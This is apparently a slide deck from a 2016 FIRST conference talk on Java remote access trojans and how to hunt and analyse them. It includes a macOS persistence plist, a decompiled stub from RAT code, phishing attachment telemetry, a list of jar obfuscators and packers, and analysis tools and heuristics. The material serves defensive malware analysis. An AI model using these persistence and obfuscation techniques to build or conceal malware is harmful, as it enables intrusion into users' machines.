<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.client.1f3</string>
  <key>ProgramArguments</key>
  <array>
    <string>/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/bin/java</string>
    <string>-jar</string>
    <string>/Users/bob/Desktop/1f3.jar</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>
```

Ratty

- Actively being developed on Github [22]
 - Seems Windows is further developed than OSX (further than Linux)
- Currently using a simple xor over its configuration file
- Palo Alto Networks has seen this RAT being distributed in the wild since April 5 of this year and still see active use of this RAT.

Ratty

```
public final class LinuxService implements IOperatingSystemService {

    LinuxService() {
        //...
    }

    @Override
    public void shutDown() {
        //...
    }

    @Override
    public void addToStartup(final File file) {
        //...
    }

    @Override
    public void removeFromStartup(final String name) {
        //...
    }

    public boolean isVm() {
        return false;
    }
}
```

Ratty

Time	Application	Destination			Email Subject	File Name	Source Country Code
		Code	Country	Email Sender Address			
04/10/2016 8:29:06pm	smtp	US		rtye1125@gmail.com	Price Inquiry	New Order.jar	ID
04/10/2016 1:10:21pm	smtp	US		imalat@[REDACTED].com.tr	Reminder Quotation	RFQ12.jar	CY
04/10/2016 1:10:13pm	smtp	US	b.t[REDACTED].u		Automatic reply: ATRC DCS Newsletter 7 April 2016	RFQ12.jar	AU
04/10/2016 1:09:06pm	smtp	US		imalat@[REDACTED].com.tr	Reminder Quotation	RFQ12.jar	AU
04/10/2016 1:09:04pm	smtp	AU		imalat@[REDACTED].com.tr	Reminder Quotation	RFQ12.jar	AU
04/10/2016 1:09:02pm	smtp	AU		imalat@[REDACTED].com.tr	Reminder Quotation	RFQ12.jar	AU
04/10/2016 1:08:16pm	smtp	CY		postmaster@[REDACTED].om	Delivery Status Notification (Failure)	RFQ12.jar	
04/10/2016 1:08:15pm	smtp	CY		postmaster@[REDACTED].om	Delivery Status Notification (Failure)	RFQ12.jar	
04/10/2016 1:08:12pm	smtp	FR		imalat@[REDACTED].com.tr	Reminder Quotation	RFQ12.jar	CY

(Crypt|Pack|Obfuscate|Bundler)

- Allatori
- Zelix Klassmaster (ZKM)
- launch4j (jar to exe)
- Jar Bundler (removed in OS X Mountain Lion 10.8.2)
- JarToApp
 - <https://github.com/redpois0n/JarToApp>
- jCrypt
- jarProtector
- jFuzzle

Roadmap

- Foundation knowledge
- Threat landscape
- **Analysis Tools and Techniques**
 - Hunting, analysis, heuristics
- Conclude

Analysis: OSX and Windows

- OSX persistence mechanisms [29]
- Plists
- Hidden files and directories
- Dtrace and JVM hotspots
- KnockKnock [31]
- Registry keys
- LNKs in Startup Folder
- Procmon
- Regshot

Tool: JWScan

```
JWScan 0.2.1 -- by Katja Hahn
scanning file ...
file name: C:\Documents and Settings\8e78b266205c83bdf8639a373cbe15bf6          f224fd87eac49d0c2fb96f387150c73
Signatures found:
* Jar manifest (strong indication for embedded jar)
* Launch4j signature
* PZIP Magic Number (weak indication for embedded zip)
* Call to java.exe (strong indication for java wrapper)
* Call to javaw.exe (strong indication for java wrapper)
ZIP/Jar offsets: 0x7a00
```

```
JWScan 0.2.1 -- by Katja Hahn
scanning file ...
file name: C:\Documents and Settings\8e78b266205c83bdf8639a373cbe15bf6          ktop\bbcbdi.exe
Signatures found:
* Jar manifest (strong indication for embedded jar)
* Jar2Exe.com signature
* PZIP Magic Number (weak indication for embedded zip)
ZIP/Jar offsets: 0x2b058
C:\WINDOWS\system32>
```

Tool: Bytecode Visualizer

The screenshot shows a software interface for visualizing Java bytecode. On the left, there is a text editor displaying the Java source code and its corresponding assembly-like bytecode. The assembly code includes comments explaining the purpose of each instruction. On the right, there is a graphical representation of the control flow, showing nodes (represented by rectangles) and edges (represented by arrows) that connect them. The nodes are color-coded, likely representing different types of blocks or states in the program's execution flow.

```
private static java.lang.String[] args;  
  
public boolean bytes;  
  
public void run() {  
    /* L205 */  
    0 aload_0;          /* a */  
    1 new 37;           /* config */  
    4 dup;  
    5 invokespecial 38; /* config.ReadIO() */  
    8 putfield 39;      /* .config */  
    /* L34 */  
    11 aload_0;          /* a */  
    12 getfield 39;      /* .config */  
    15 getfield 40;      /* .stealth */  
    18 ifeq 14;  
    21 getstatic 3;       /* Stub.args */  
    24 arraylength;  
    25 ifne 7;  
    /* L15 */  
    28 aload_0;          /* a */  
    29 invokevirtual 41; /* void runStealthed() */  
    try {  
        /* L192 */  
        32 new 42;           /* binded.BFLoader */  
        35 dup;  
        36 invokespecial 43; /* binded.BFLoader */  
        39 pop;  
    }  
    /* L170 */  
    40 goto 8;  
    catch (java.io.IOException) { /* covers bytes 32 to 40 */  
        /* L222 */  
        43 astore_1;          /* a */  
        /* L144 */  
    }  
}
```

Tool: Bytecodeviewer

The screenshot shows the Bytecodeviewer interface with two main panes. The left pane, titled "JD-GUI Decompiler - Editable: false", displays Java code for a class named "Stub". The right pane, titled "Bytecode Decomplier - Editable: false", displays the corresponding bytecode in assembly-like syntax. The assembly code includes comments explaining local variable bindings and exception handling. A yellow highlight is present over the assembly code starting at line 31.

```
JD-GUI Decompiler - Editable: false
16
17 public class Stub
18     implements Runnable
19 {
20     public byte[] filebytes;
21     private ReadIO config;
22     private static String[] args;
23     public boolean bytes = true;
24
25     public void run()
26     {
27         a.config = new ReadIO();
28         if ((a.config.stealth) && (args.length == 0)) {
29             a.runStealthed();
30         }
31
32         try
33         {
34             new BFLoader();
35         }
36         catch (IOException a)
37         {
38             a.printStackTrace();
39             if (a.bytes)
40             {
41                 try
42                 {
43                     s a = new s();a.filebytes = a.ALLATORIxDEMO(a.config.key);String
44                     try
45                     {
46                         a.ALLATORIxDEMO(a.config.stubconfigandhosts);
47                     }
48                     catch (Exception a)
49                     {
50                         a.printStackTrace();
51                     }
52                 return;
53             }
54         }
55     }
56 }

Bytecode Decomplier - Editable: false
1 public class Stub implements java.lang.Runnable {
2
3     public byte[] filebytes;
4     private config.ReadIO config;
5     private static java.lang.String[] args;
6     public boolean bytes;
7
8     public run() { //()V
9         <localVar:index=0 , name=a , desc=LStub;, sig=null, start=
10        <localVar:index=1 , name=a , desc=Ljava/lang/Exception;
11        <localVar:index=1 , name=a , desc=La/s;, sig=null, start=
12        <localVar:index=1 , name=a , desc=Ljava/io/IOException;
13        <localVar:index=2 , name=a , desc=Ljava/lang/String;
14        <localVar:index=3 , name=a , desc=La/d;
15        <localVar:index=4 , name=a , desc=Ljava/lang/Exception;
16
17     TryCatch: L12 to L13 handled by L14: java/io/IOException
18     TryCatch: L10 to L15 handled by L16: java/lang/Exception
19     TryCatch: L8 to L17 handled by L18: java/lang/Exception
20     TryCatch: L8 to L17 handled by L19: Type is null.
21     TryCatch: L18 to L20 handled by L19: Type is null.
22     TryCatch: L19 to L21 handled by L19: Type is null.
23     L1 {
24         aload0 // reference to self
25         new config/ReadIO
26         dup
27         invokespecial config/ReadIO <init>(()V);
28         putfield Stub.config:config.ReadIO
29     }
30     L22 {
31         aload0 // reference to self
32         getfield Stub.config:config.ReadIO
33         getfield config/ReadIO.stealth:boolean
34         ifeq L12
35         getstatic Stub.args:java.lang.String[]
36         arraylength
}
```

Tool: RATDecoders

- Github repository by kevthehermit [27]
- Contains static configuration decoding scripts for many RATs
 - Not just Java based ones
- Fantastic resource for building an Intel pipeline
 - Combine with VirusTotal, Laikaboss [28], etc
 - A handful of vendors are doing this internally

Technique: Hunting

- Palo Alto Networks telemetry has seen Java RAT distributed
 - As JARs
 - As class files
 - As PEs which drops JARs
 - In email attachments
 - As URL downloaded resources
- Typical RAT behavior
 - Unpack itself (often to a “better” location: temporary or hidden directory)
 - Persist (registry, plist)
 - Sleep (optional)
 - Beacon
- Yara rules
 - JAR files
 - Class files
 - Names in JAR
 - Bytes in class
 - Beware of libraries included in JARs


Technique: JAR Deobfuscation

- Deobfuscation logic is in the JAR somewhere
- Decompile class files
- Search for methods wrapping strings passed to other methods
- If those methods do math manipulations on a string, re-implement in Python
- Eclipse **conditional breakpoints** [23] [24] [25]

Technique: JAR Heuristics

- Counting constant pool size for a JAR's main class [18]
 - Different bands within a family are caused by:
 - Droppers/packers
 - Different versions of implants
 - Analysis Errors
- Counting resources included in a JAR
- These heuristics are bad at determining good vs bad JARs
- These heuristics are pretty good at determine bad1 vs bad2 JARs
- These heuristics have weaknesses
 - Jarinjarloader is often set as the main-class in a jar's manifest. It then loads a different class (from a URL or from itself)
 - Manifest files are not required for Jars to execute

Constant Pool Sizes



Roadmap

- Foundation knowledge
- Threat landscape
- Analysis Tools and Techniques
- **Conclude**

Key Take Away Items

- Java RATs have been around since 2010
- Java RATs are still not extremely popular compared to other languages
 - However their use is growing
- Java RATs have been used by financially motivated, opportunistic, and surgical threat actors
- Keep an eye out for Ratty RAT. It's been growing in popularity since its release
- Look at the RATDecoders Github repository

Special Thanks

FIRST conference

Everyone for listening

Tyler Halfpop

Jacob Soo

Anthony Mendez

Kevin Breen

Chris Pierce

Jørgen Bøhnsdalen

Questions

28th ANNUAL
FIRST CONFERENCE JUNE 12 - 17, 2016
SEOUL

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